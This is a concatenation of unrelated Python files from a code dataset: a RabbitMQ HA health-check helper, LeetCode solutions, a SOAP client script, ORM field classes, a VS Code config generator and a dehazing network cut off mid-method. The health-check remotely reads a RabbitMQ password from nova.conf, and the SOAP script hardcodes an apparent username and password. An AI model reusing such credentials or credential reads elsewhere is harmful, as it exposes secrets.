pick_rabbit_master(self):\n if not self._controllers:\n self.fail('There are no online controllers')\n remote = self.get_ssh_connection_to_controller(self._controllers[0])\n LOG.info('ssh session to node {0} was open'.format(\n self._controllers[0]))\n LOG.info('Try to execute command ')\n output = remote.exec_command(\n \"crm resource status master_p_rabbitmq-server\")\n LOG.debug('Output is {0}'.format(output))\n substring_ind = output.find(\n 'resource master_p_rabbitmq-server is running on:')\n sub_end_ind = output.find('Master')\n LOG.debug('Start index is {0} end'\n ' index is {1}'.format(substring_ind, sub_end_ind))\n result_str = output[substring_ind: sub_end_ind]\n LOG.debug('Result string is {0}'.format(result_str))\n return result_str\n\n def list_channels(self):\n if not self._controllers:\n self.fail('There are no online controllers')\n remote = self.get_ssh_connection_to_controller(self._controllers[0])\n output = remote.exec_command(\"rabbitmqctl list_channels\")\n if 'done' not in output:\n self.fail('Get channels list command fail.')\n else:\n LOG.debug('Result of executing command rabbitmqctl'\n ' list_channels is {0}'.format(output))\n return output\n\n def get_conf_values(self, variable=\"rabbit_password\",\n sections=\"DEFAULT\",\n conf_path=\"/etc/nova/nova.conf\"):\n cmd = (\"python -c 'import ConfigParser; \"\n \"cfg=ConfigParser.ConfigParser(); \"\n \"cfg.readfp(open('\\\"'{0}'\\\"')); \"\n \"print cfg.get('\\\"'{1}'\\\"', '\\\"'{2}'\\\"')'\")\n LOG.debug(\"Try to execute cmd {0}\".format(cmd))\n remote = self.get_ssh_connection_to_controller(self._controllers[0])\n try:\n res = remote.exec_command(cmd.format(\n conf_path, sections, variable))\n LOG.debug(\"result is {0}\".format(res))\n return res\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail(\"Fail to get data from config\")\n\n def check_rabbit_connections(self):\n if not self._controllers:\n self.fail('There are no online controllers')\n pwd = self.get_conf_values().strip()\n for host in self._controllers:\n try:\n conn = Connection(host, userid='nova',\n password=pwd,\n virtual_host='/', port=5673)\n conn.connect()\n\n channel = conn.channel()\n self.connections.append((channel, host))\n LOG.debug('connections is {0}'.format(self.connections))\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail(\"Failed to connect to \"\n \"5673 port on host {0}\".format(host))\n\n def create_queue(self):\n for channel, host in self.connections:\n test_queue = data_utils.rand_name() + data_utils.generate_uuid()\n queue = kombu.Queue(\n 'test-rabbit-{0}-{1}'.format(test_queue, host),\n channel=channel,\n durable=False,\n queue_arguments={'x-expires': 15 * 60 * 1000})\n try:\n LOG.debug(\"Declaring queue {0} on host {1}\".format(\n queue.name, host))\n queue.declare()\n self.data.append((channel, host, queue))\n self.queues.append(queue)\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail(\"Failed to declare queue on host {0}\".format(host))\n\n def publish_message(self):\n for channel, host, queue in self.data:\n self.ids.append(data_utils.generate_uuid())\n try:\n LOG.debug('Try to publish message {0}'.format(queue.name))\n producer = kombu.Producer(\n channel=channel, routing_key=queue.name)\n for msg_id in self.ids:\n producer.publish(msg_id)\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail(\"failed to publish message\")\n\n def check_queue_message_replication(self):\n for channel, host, queue in self.data:\n rec_queue = kombu.Queue(queue.name, channel=channel)\n try:\n msg = None\n for i in range(10):\n LOG.debug('messages ids are {0}'.format(self.ids))\n msg = rec_queue.get(True)\n LOG.debug('Message is {0}'.format(msg.body))\n if msg is None:\n time.sleep(1)\n else:\n break\n if msg is None:\n self.fail(\"No message received\")\n elif msg.body not in self.ids:\n self.fail('received incorrect message {0}'\n ' in ids {1}'.format(msg.body, self.ids))\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail('Failed to check message replication')\n\n def delete_queue(self):\n LOG.debug('Try to deleting queue {0}... '.format(self.queues))\n if self.queues:\n try:\n self.ids = []\n [queue.delete() and self.queues.remove(queue)\n for queue in self.queues]\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail('Failed to delete queue')\n","sub_path":"fuel_health/ha_base.py","file_name":"ha_base.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309538100","text":"class Solution(object):\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n \n if matrix is None:\n return False\n\n row = len(matrix)\n if row == 0:\n return False\n\n column = len(matrix[0])\n if column == 0:\n return False\n\n x = 0\n y = column - 1\n\n while(x < row and y >= 0):\n if matrix[x][y] == target:\n return True\n\n if matrix[x][y] > target:\n y -= 1\n else:\n x += 1\n\n return False","sub_path":"leetcode/240.search-a-2d-matrix-ii.py","file_name":"240.search-a-2d-matrix-ii.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"619073718","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 28 21:38:57 2017\r\n\r\n@author: Roberto Piga\r\n\"\"\"\r\ns = 'azcbobobegghakl'\r\npattern = \"bob\"\r\n\r\ncount = 0\r\nindex = 0\r\n\r\nwhile index < len(s):\r\n temp = s[index:len(pattern) + index]\r\n if temp == pattern:\r\n count += 1\r\n index += 1\r\n\r\nprint(\"Number of times bob occurs is:\", count)","sub_path":"Pset1/pset1-2.py","file_name":"pset1-2.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"638569117","text":"from soap_base import *\r\nfrom soap_parse import *\r\n\r\nticket = get_ticket('ezhidqi', 'q246893')\r\nif not ticket['flag']:\r\n\tprint(ticket['errmsg'])\r\n\texit()\r\n\r\n# respXml = retrieve_product_data(ticket['content'], 'KRC16184/3')\r\n# if not respXml['flag']:\r\n# \tprint(respXml['errmsg'])\r\n# \texit()\r\n\r\n# products = products_from_retrieve_product_data(respXml['content'])\r\n# for i in products:\r\n# \tprint(i)\r\n\r\nrespXml = consist_of(ticket['content'], 'KRC 161 464/3', 'R1A', 'DP');\r\n\r\nif not respXml['flag']:\r\n\tprint(ticket['errmsg'])\r\n\texit()\r\n\r\nfile_out = open(r'C:\\Users\\ezhidqi\\Desktop\\compare\\explodeAcceptedSel_KRC161464_1_.xml', 'w')\r\nfile_out.write(respXml['content'].encode('gbk', 'ignore').decode('utf-8', 'ignore'))\r\nfile_out.close()\r\nprint('DONE.')\r\n\r\n# from datetime import *\r\n# import time\r\n\r\n# # dt = datetime.strptime(\"09/06/2014 17:08:12\", \"%m/%d/%Y %H:%M:%S\") \r\n# dt = datetime.now()\r\n# # dt = datetime.combine(d,t)\r\n# print(dt.strftime('#%m/#%d/%Y #%I:%M:%S %p').replace('#0', '').replace('#', ''))","sub_path":"dura/cpws/t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"561424002","text":"\"\"\"\nFields for basic data types.\n\"\"\"\n\nfrom bson import ObjectId\n\nfrom yadm.fields.base import Field, DefaultMixin\nfrom yadm.markers import NoDefault\n\n\nclass SimpleField(DefaultMixin, Field):\n \"\"\" Base field for simple types\n\n :param default: default value\n :param set choices: set of possible values\n \"\"\"\n type = NotImplemented\n choices = None\n\n def __init__(self, default=NoDefault, choices=None):\n if self.type is NotImplemented:\n raise ValueError('Attribute \"type\" not implemented!')\n\n self.choices = choices\n\n super().__init__(default)\n\n def prepare_value(self, document, value):\n if not isinstance(value, self.type) and value is not None:\n value = self.type(value)\n\n if self.choices is not None and value not in self.choices:\n raise ValueError('value not in choices: {!r}'.format(value))\n\n return value\n\n def to_mongo(self, document, value):\n return self.prepare_value(document, value)\n\n def from_mongo(self, document, value):\n return self.prepare_value(document, value)\n\n\nclass ObjectIdField(SimpleField):\n \"\"\" Field for ObjectId\n\n :param bool default_gen: generate default value if not set\n \"\"\"\n type = ObjectId\n\n def __init__(self, default_gen=False, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.default_gen = default_gen\n\n @property\n def default(self):\n if self.default_gen:\n return ObjectId()\n else:\n return NoDefault\n\n\nclass BooleanField(SimpleField):\n \"\"\" Field for boolean values\n \"\"\"\n type = bool\n\n\nclass IntegerField(SimpleField):\n \"\"\" Field for integer\n \"\"\"\n type = int\n\n\nclass FloatField(SimpleField):\n \"\"\" Field for float\n \"\"\"\n type = float\n\n\nclass StringField(SimpleField):\n \"\"\" Field for string\n \"\"\"\n type = str\n","sub_path":"yadm/fields/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"167875297","text":"\"\"\"Softmax.\"\"\"\n\nscores = np.array([1.0, 2.0, 3.0])\n\nimport numpy as np\n\n# scores = np.array([[1, 2, 3, 6],\n# [2, 4, 5, 6],\n# [3, 8, 7, 6]])\n \ndef softmax(x):\n \"\"\"Compute softmax values for each sets of scores in x.\"\"\"\n # My solution\n # sm = lambda x: np.exp(x)/np.sum(np.exp(x))\n # return np.apply_along_axis(sm,0,x)\n # Vincent Vanhoucke's solution\n return np.exp(x)/np.sum(np.exp(x), axis=0)\n \n\nprint(softmax(scores / 10))\n\n# Plot softmax curves\n# import matplotlib.pyplot as plt\n# x = np.arange(-2.0, 6.0, 0.1)\n# scores = np.vstack([x, np.ones_like(x), 0.2 * np.ones_like(x)])\n\n# plt.plot(x, softmax(scores).T, linewidth=2)\n# plt.show()\n","sub_path":"Assignments/Softmax.py","file_name":"Softmax.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221068523","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2010 - 2021, Fraunhofer-Gesellschaft zur Foerderung der angewandten Forschung e.V.\n# All rights reserved.\n#\n# SPDX-License-Identifier: BSD-3-Clause\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# We kindly request you to use one or more of the following phrases to refer to\n# foxBMS in your hardware, software, documentation or advertising materials:\n#\n# - \"This product uses parts of foxBMS®\"\n# - \"This product includes parts of foxBMS®\"\n# - \"This product is derived from foxBMS®\"\n\n\"\"\"Implements a waf tool to configure a VS Code workspace to foxBMS specific\nneeds.\n\nFor information on VS Code see https://code.visualstudio.com/.\n\"\"\"\n\nimport os\nimport re\nimport pathlib\nimport json\nimport jsonschema\n\nimport jinja2\n\nfrom waflib import Utils\nfrom waflib import Context\n\n# This tool uses slash as path separator for the sake of simplicity as it\n# - works on both, Windows and unix-like systems (see\n# https://docs.microsoft.com/en-us/archive/blogs/larryosterman/why-is-the-dos-path-character)\n# - it make the json configuration file more readable\n\n\ndef fix_jinja(txt):\n \"\"\"appends empty line to file, if missing\"\"\"\n return (\n os.linesep.join([s for s in txt.splitlines() if not s.strip() == \"\"])\n + os.linesep\n )\n\n\ndef configure(conf): # pylint: disable=too-many-statements,too-many-branches\n \"\"\"configuration step of the VS Code waf tool:\n\n - Find code\n - configure a project if code was found\"\"\"\n # create a VS Code workspace if code is installed on this platform\n if Utils.is_win32:\n conf.find_program(\"code\", mandatory=False)\n if not conf.env.CODE:\n code_dir = \"Microsoft VS Code\"\n path_list = [\n os.path.join(os.environ[\"LOCALAPPDATA\"], \"Programs\", code_dir),\n os.path.join(os.environ[\"PROGRAMFILES\"], code_dir),\n ]\n conf.find_program(\n \"code\",\n path_list=path_list,\n mandatory=False,\n )\n else:\n conf.find_program(\"code\", mandatory=False)\n\n if not conf.env.CODE:\n return\n conf.start_msg(\"Creating workspace\")\n vscode_dir = conf.path.make_node(\".vscode\")\n vscode_dir.mkdir()\n vscode_config_dir = conf.path.find_dir(os.path.join(\"tools\", \"ide\", \"vscode\"))\n template_loader = jinja2.FileSystemLoader(searchpath=vscode_config_dir.relpath())\n template_env = jinja2.Environment(loader=template_loader)\n\n if Utils.is_win32:\n waf_wrapper_script = pathlib.Path(conf.path.abspath()).as_posix() + \"/waf.bat\"\n else:\n waf_wrapper_script = pathlib.Path(conf.path.abspath()) + \"/waf.sh\"\n axivion_base_path = pathlib.Path(\n os.path.join(conf.path.abspath(), \"tests\", \"axivion\")\n ).as_posix()\n if Utils.is_win32:\n axivion_start_analysis = axivion_base_path + \"/start_local_analysis.bat\"\n else:\n axivion_start_analysis = axivion_base_path + \"/start_local_analysis.sh\"\n\n template = template_env.get_template(\"tasks.json.jinja2\")\n tasks = template.render(\n WAF_WRAPPER_SCRIPT=waf_wrapper_script,\n AXIVION_START_ANALYSIS=axivion_start_analysis,\n )\n vsc_tasks_file = os.path.join(vscode_dir.relpath(), \"tasks.json\")\n conf.path.make_node(vsc_tasks_file).write(fix_jinja(tasks))\n\n template = template_env.get_template(\"extensions.json.jinja2\")\n extensions = template.render()\n vsc_extensions_file = os.path.join(vscode_dir.relpath(), \"extensions.json\")\n conf.path.make_node(vsc_extensions_file).write(fix_jinja(extensions))\n\n template = template_env.get_template(\"cspell.json.jinja2\")\n cspell = template.render()\n vsc_cspell_file = os.path.join(vscode_dir.relpath(), \"cspell.json\")\n conf.path.make_node(vsc_cspell_file).write(fix_jinja(cspell))\n\n template = template_env.get_template(\"settings.json.jinja2\")\n # Python and friends: Python, conda, pylint, black\n py_exe = \"python\"\n if conf.env.PYTHON:\n py_exe = pathlib.Path(conf.env.PYTHON[0]).as_posix()\n conda_exe = \"conda\"\n if conf.env.CONDA:\n conda_exe = pathlib.Path(conf.env.CONDA[0]).as_posix()\n pylint_exe = \"pylint\"\n if conf.env.PYLINT:\n pylint_exe = pathlib.Path(conf.env.PYLINT[0]).as_posix()\n pylint_cfg = \"\"\n if conf.env.PYLINT_CONFIG:\n pylint_cfg = pathlib.Path(conf.env.PYLINT_CONFIG[0]).as_posix()\n black_exe = \"black\"\n if conf.env.BLACK:\n black_exe = pathlib.Path(conf.env.BLACK[0]).as_posix()\n black_cfg = \"\"\n if conf.env.BLACK_CONFIG:\n black_cfg = pathlib.Path(conf.env.BLACK_CONFIG[0]).as_posix()\n # directory of waf and waf-tools\n waf_dir = pathlib.Path(Context.waf_dir).as_posix()\n waf_tools_dir = pathlib.Path(\n os.path.join(conf.path.abspath(), \"tools\", \"waf-tools\")\n ).as_posix()\n # Clang-format\n clang_format_executable = \"\"\n if conf.env.CLANG_FORMAT:\n clang_format_executable = pathlib.Path(conf.env.CLANG_FORMAT[0]).as_posix()\n # now it is in an case save to render the template\n if not conf.env.CLANG_FORMAT[0]:\n clang_format_executable = \"\"\n else:\n clang_format_executable = pathlib.Path(conf.env.CLANG_FORMAT[0]).as_posix()\n\n ax_modules_rel = pathlib.Path(os.path.join(\"lib\", \"scripts\"))\n\n if Utils.is_win32:\n axivion_modules = (\n pathlib.Path(os.environ.get(\"ProgramFiles(x86)\", \"C:\\\\Program Files(x86)\"))\n / \"Bauhaus\"\n / ax_modules_rel\n ).as_posix()\n userprofile = os.environ.get(\n \"USERPROFILE\", os.environ.get(\"HOMEDRIVE\", \"C:\") + os.sep\n )\n else:\n axivion_modules = (\n pathlib.Path(os.environ.get(\"HOME\", \"/\")) / \"bauhaus-suite\" / ax_modules_rel\n )\n userprofile = os.environ.get(\"HOME\", \"~\")\n\n axivion_vs_config = {\n \"analysisProject\": \"foxbms-2\",\n \"localPath\": pathlib.Path(conf.path.abspath()).as_posix(),\n \"analysisPath\": pathlib.Path(userprofile).as_posix(),\n }\n if conf.env.AXIVION_CC:\n projects_path = os.path.join(userprofile, \".bauhaus\", \"localbuild\", \"projects\")\n axivion_vs_config[\"analysisPath\"] = pathlib.Path(projects_path).as_posix()\n\n try:\n axivion_modules = (\n pathlib.Path(conf.env.AXIVION_CC[0]).parent.parent / ax_modules_rel\n ).as_posix()\n except IndexError:\n pass\n settings = template.render(\n PYTHONPATH=py_exe,\n WAF_DIR=waf_dir,\n WAF_TOOLS_DIR=waf_tools_dir,\n AXIVION_MODULES=axivion_modules,\n CONDA_PATH=conda_exe,\n PYLINT_PATH=pylint_exe,\n PYLINT_CONFIG=pylint_cfg,\n BLACKPATH=black_exe,\n BLACK_CONFIG=black_cfg,\n CLANG_FORMAT_EXECUTABLE=clang_format_executable,\n AXIVION_VS_CONFIG=axivion_vs_config,\n )\n\n vsc_settings_file = os.path.join(vscode_dir.relpath(), \"settings.json\")\n conf.path.make_node(vsc_settings_file).write(fix_jinja(settings))\n\n template = template_env.get_template(\"c_cpp_properties.json.jinja2\")\n defines_read = (\n conf.root.find_node(conf.env.COMPILER_BUILTIN_DEFINES_FILE[0])\n .read()\n .splitlines()\n )\n vscode_defines = []\n reg = re.compile(r\"(#define)([ ])([a-zA-Z0-9_]{1,})([ ])([a-zA-Z0-9_\\\":. ]{1,})\")\n for d in defines_read:\n define = d.split(\"/*\")[0]\n _def = reg.search(define)\n if _def:\n def_name, val = _def.group(3), _def.group(5)\n if def_name in (\"__DATE__\", \"__TIME__\"):\n continue\n if '\"' in val:\n val = val.replace('\"', '\\\\\"')\n vscode_defines.append((def_name, val))\n\n bms_config = json.loads(\n conf.path.find_node(os.path.join(\"conf\", \"bms\", \"bms.json\")).read()\n )\n bms_config_schema = json.loads(\n conf.path.find_node(\n os.path.join(\"conf\", \"bms\", \"schema\", \"bms.schema.json\")\n ).read()\n )\n try:\n jsonschema.validate(instance=bms_config, schema=bms_config_schema)\n except jsonschema.exceptions.ValidationError as err:\n good_values = \", \".join([f\"'{i}'\" for i in err.validator_value])\n conf.fatal(\n f\"Analog Front-End '{err.instance}' is not supported.\\n\"\n f\"Use one of these: {good_values}.\"\n )\n bal = bms_config[\"slave-unit\"][\"balancing-strategy\"]\n soc = bms_config[\"application\"][\"algorithm\"][\"state-estimation\"][\"soc\"]\n soe = bms_config[\"application\"][\"algorithm\"][\"state-estimation\"][\"soe\"]\n soh = bms_config[\"application\"][\"algorithm\"][\"state-estimation\"][\"soh\"]\n\n imd = bms_config[\"application\"][\"insulation-monitoring-device\"]\n imd_manufacturer = imd[\"manufacturer\"]\n imd_model = imd[\"model\"]\n\n chip = bms_config[\"slave-unit\"][\"analog-front-end\"][\"chip\"]\n if chip in (\"6804-1\", \"6811-1\", \"6812-1\"):\n chip = \"6813-1\"\n c_cpp_properties = template.render(\n ARMCL=pathlib.Path(conf.env.CC[0]).as_posix(),\n OS=bms_config[\"operating-system\"][\"name\"],\n BALANCING_STRATEGY=bal,\n AFE_MANUFACTURER=bms_config[\"slave-unit\"][\"analog-front-end\"][\"manufacturer\"],\n AFE_CHIP=chip,\n TEMPERATURE_SENSOR_MANUFACTURER=bms_config[\"slave-unit\"][\"temperature-sensor\"][\n \"manufacturer\"\n ],\n TEMPERATURE_SENSOR_MODEL=bms_config[\"slave-unit\"][\"temperature-sensor\"][\n \"model\"\n ],\n TEMPERATURE_SENSOR_METHOD=bms_config[\"slave-unit\"][\"temperature-sensor\"][\n \"method\"\n ],\n STATE_ESTIMATOR_SOC=soc,\n STATE_ESTIMATOR_SOE=soe,\n STATE_ESTIMATOR_SOH=soh,\n IMD_MANUFACTURER=imd_manufacturer,\n IMD_MODEL=imd_model,\n INCLUDES=[pathlib.Path(x).as_posix() for x in conf.env.INCLUDES],\n CSTANDARD=\"c99\",\n DEFINES=vscode_defines,\n )\n vsc_c_cpp_properties_file = os.path.join(\n vscode_dir.relpath(), \"c_cpp_properties.json\"\n )\n for i in conf.env.VSCODE_MK_DIRS:\n conf.path.make_node(i).mkdir()\n conf.path.make_node(vsc_c_cpp_properties_file).write(fix_jinja(c_cpp_properties))\n\n template = template_env.get_template(\"launch.json.jinja2\")\n gdb_exe = \"gdb\"\n if conf.env.GDB:\n gdb_exe = pathlib.Path(conf.env.GDB[0]).as_posix()\n launch = template.render(GDB=gdb_exe)\n\n vsc_launch_file = os.path.join(vscode_dir.relpath(), \"launch.json\")\n conf.path.make_node(vsc_launch_file).write(fix_jinja(launch))\n\n conf.end_msg(\"ok\")\n","sub_path":"tools/waf-tools/f_vscode.py","file_name":"f_vscode.py","file_ext":"py","file_size_in_byte":11896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"215061575","text":"# coding=utf-8\n\"\"\"Number of Islands.\n\n>>> solve = _solve\n>>> solve([[\"1\", \"1\", \"1\", \"1\", \"0\"], [\"1\", \"1\", \"0\", \"1\", \"0\"], [\"1\", \"1\", \"0\", \"0\", \"0\"], [\"0\", \"0\", \"0\", \"0\", \"0\"]])\n1\n\"\"\"\n\n\n# 可以减少比较次数从使代码运行更快\ndef _solve(grid):\n if not grid or not grid[0]:\n return 0\n width, height = len(grid[0]), len(grid)\n\n def _dfs(x, y):\n if 0 <= x < height and 0 <= y < width and grid[x][y] == '1':\n grid[x][y] = '0'\n map(_dfs, (x + 1, x - 1, x, x), (y, y, y + 1, y - 1))\n\n ans = 0\n for i in xrange(height):\n for j in xrange(width):\n if grid[i][j] == '1':\n _dfs(i, j)\n ans += 1\n return ans\n","sub_path":"medium/200.py","file_name":"200.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"148020582","text":"import datetime\nimport os\nimport sys\nfrom collections import namedtuple\nimport time\nimport numpy as np\n\nimport torch.nn as nn\nfrom cv2.ximgproc import guidedFilter\nfrom net import *\nfrom net.losses import StdLoss\nfrom net.noise import get_noise\nfrom skimage.measure import compare_psnr\nfrom utils.image_io import *\nfrom utils.imresize import imresize, np_imresize\n\ntorch.backends.cudnn.enabled = True\ntorch.backends.cudnn.benchmark = True\nDehazeResult = namedtuple(\"DehazeResult\", ['learned', 't', 'a', 'psnr', 'step'])\n\n\ndef dehaze(image_name: str, image: np.array, num_iter: int = 4000,\n plot_during_training: bool = True, show_every: int = 500,\n scorefile: str = None):\n dehazer = Dehazer(image_name, image, num_iter, plot_during_training, show_every, scorefile)\n dehazer.optimize()\n dehazer.finalize()\n save_image(image_name + \"_original\", np.clip(image, 0, 1))\n\n\nclass EarlyStopping(object):\n def __init__(self, patience=7, verbose=False, delta=0):\n \"\"\"\n Args:\n patience (int): How long to wait after last time validation loss improved.\n Default: 7\n verbose (bool): If True, prints a message for each validation loss improvement.\n Default: False\n delta (float): Minimum change in the monitored quantity to qualify as an improvement.\n Default: 0\n \"\"\"\n self.patience = patience\n self.verbose = verbose\n self.counter = 0\n self.best_score = None\n self.val_loss_min = np.Inf\n self.delta = delta\n\n def step(self, val_loss):\n\n score = -val_loss\n\n if self.best_score is None:\n self.best_score = score\n elif score < self.best_score + self.delta:\n self.counter += 1\n print(f'EarlyStopping counter: {self.counter} out of {self.patience}')\n if self.counter >= self.patience:\n return True\n else:\n self.best_score = score\n self.counter = 0\n return False\n\n\nclass Dehazer(object):\n def __init__(self, image_name, image, num_iter=8000, plot_during_training=True, show_every=500, scorefile=None):\n self.image_name = image_name\n self.image = image\n self.num_iter = num_iter\n self.plot_during_training = plot_during_training\n self.show_every = show_every\n self.scorefile = scorefile\n self.ambient_net = None\n self.image_net = None\n self.mask_net = None\n self.ambient_val = None\n\n self.learning_rate = 0.001\n self.input_depth = 8\n self.parameters = None\n self.current_result = None\n self.best_result = None\n self.break_iter = None\n self.time_elaps = None\n self.step_early = None\n self.optimizer = None\n\n self.mse_loss = torch.nn.MSELoss().type(torch.cuda.FloatTensor)\n self.blur_loss = StdLoss().type(torch.cuda.FloatTensor)\n self.total_loss = None\n self.image_net_inputs = None\n self.mask_net_inputs = None\n self.image_out = None\n self.mask_out = None\n self.ambient_out = None\n self._init_images()\n self._init_nets()\n self._init_ambient()\n self._init_inputs()\n self._init_parameters()\n if scorefile:\n self._init_scorefile()\n\n def _init_images(self):\n self.original_image = self.image.copy()\n image = self.image\n factor = 1\n while image.shape[1] >= 800 or image.shape[2] >= 800:\n new_shape_x, new_shape_y = self.image.shape[1] / factor, self.image.shape[2] / factor\n new_shape_x -= (new_shape_x % 32)\n new_shape_y -= (new_shape_y % 32)\n image = np_imresize(self.image, output_shape=(new_shape_x, new_shape_y))\n factor += 1\n self.images = create_augmentations(image)\n self.images_torch = [np_to_torch(image).type(torch.cuda.FloatTensor) for image in self.images]\n\n def _init_nets(self):\n data_type = torch.cuda.FloatTensor\n\n image_net = skip(\n self.input_depth, 3,\n num_channels_down=[8, 16, 32, 64, 128],\n num_channels_up=[8, 16, 32, 64, 128],\n num_channels_skip=[0, 0, 0, 4, 4],\n upsample_mode='bilinear',\n need_sigmoid=True, need_bias=True, pad='reflection', act_fun='LeakyReLU')\n self.image_net = image_net.type(data_type)\n\n mask_net = skip(\n self.input_depth, 1,\n num_channels_down=[8, 16, 32, 64, 128],\n num_channels_up=[8, 16, 32, 64, 128],\n num_channels_skip=[0, 0, 0, 4, 4],\n upsample_mode='bilinear',\n need_sigmoid=True, need_bias=True, pad='reflection', act_fun='LeakyReLU')\n self.mask_net = mask_net.type(data_type)\n\n ambient_net = skip(\n self.input_depth, 3,\n num_channels_down=[8, 16, 32, 64, 128],\n num_channels_up=[8, 16, 32, 64, 128],\n num_channels_skip=[0, 0, 0, 4, 4],\n upsample_mode='bilinear',\n filter_size_down=3,\n filter_size_up=3,\n need_sigmoid=True, need_bias=True, pad='reflection', act_fun='LeakyReLU')\n self.ambient_net = ambient_net.type(data_type)\n\n def _init_ambient(self):\n atmosphere = self.get_atmosphere(self.image)\n self.ambient_val = nn.Parameter(data=torch.cuda.FloatTensor(atmosphere.reshape((1, 3, 1, 1))),\n requires_grad=False)\n\n def _init_parameters(self):\n self.parameters = [p for p in self.image_net.parameters()] + \\\n [p for p in self.mask_net.parameters()] + \\\n [p for p in self.ambient_net.parameters()]\n\n def _init_inputs(self):\n original_noises = create_augmentations(torch_to_np(get_noise(self.input_depth, 'noise',\n (self.images[0].shape[1], self.images[0].shape[2]),\n var=1 / 10.)\n .type(torch.cuda.FloatTensor).detach()))\n self.image_net_inputs = [np_to_torch(original_noise).type(torch.cuda.FloatTensor).detach()\n for original_noise in original_noises]\n\n original_noises = create_augmentations(torch_to_np(get_noise(self.input_depth, 'noise',\n (self.images[0].shape[1], self.images[0].shape[2]),\n var=1 / 10.).type(\n torch.cuda.FloatTensor).detach()))\n\n self.mask_net_inputs = [np_to_torch(original_noise).type(torch.cuda.FloatTensor).detach()\n for original_noise in original_noises]\n\n self.ambient_net_input = get_noise(self.input_depth, 'meshgrid',\n (self.images[0].shape[1], self.images[0].shape[2])\n ).type(torch.cuda.FloatTensor).detach()\n\n def _init_scorefile(self):\n if not os.path.isfile(self.scorefile):\n with open(self.scorefile, 'a') as file:\n file.write(\"filename,psnr,time,best_result_step,early_stop_at\\n\")\n\n def get_dark_channel(self, image, w=15):\n \"\"\"\n Get the dark channel prior in the (RGB) image data.\n Parameters\n -----------\n image: an M * N * 3 numpy array containing data ([0, L-1]) in the image where\n M is the height, N is the width, 3 represents R/G/B channels.\n w: window size\n Return\n -----------\n An M * N array for the dark channel prior ([0, L-1]).\n \"\"\"\n M, N, _ = image.shape\n padded = np.pad(image, ((w // 2, w // 2), (w // 2, w // 2), (0, 0)), 'edge')\n darkch = np.zeros((M, N))\n for i, j in np.ndindex(darkch.shape):\n darkch[i, j] = np.min(padded[i:i + w, j:j + w, :]) # CVPR09, eq.5\n return darkch\n\n def get_atmosphere(self, image, p=0.0001, w=15):\n \"\"\"Get the atmosphere light in the (RGB) image data.\n Parameters\n -----------\n image: the 3 * M * N RGB image data ([0, L-1]) as numpy array\n w: window for dark channel\n p: percentage of pixels for estimating the atmosphere light\n Return\n -----------\n A 3-element array containing atmosphere light ([0, L-1]) for each channel\n \"\"\"\n image = image.transpose(1, 2, 0)\n # reference CVPR09, 4.4\n darkch = self.get_dark_channel(image, w)\n M, N = darkch.shape\n flatI = image.reshape(M * N, 3)\n flatdark = darkch.ravel()\n searchidx = (-flatdark).argsort()[:int(M * N * p)] # find top M * N * p indexes\n # return the highest intensity for each channel\n return np.max(flatI.take(searchidx, axis=0), axis=0)\n\n def optimize(self):\n self.optimizer = torch.optim.Adam(self.parameters, lr=self.learning_rate)\n\n es = EarlyStopping(patience=2)\n tic = time.perf_counter()\n for step in range(self.num_iter):\n self.optimizer.zero_grad()\n self._optimization_step(step)\n\n self.cur_step = step\n if step % 8 == 0:\n 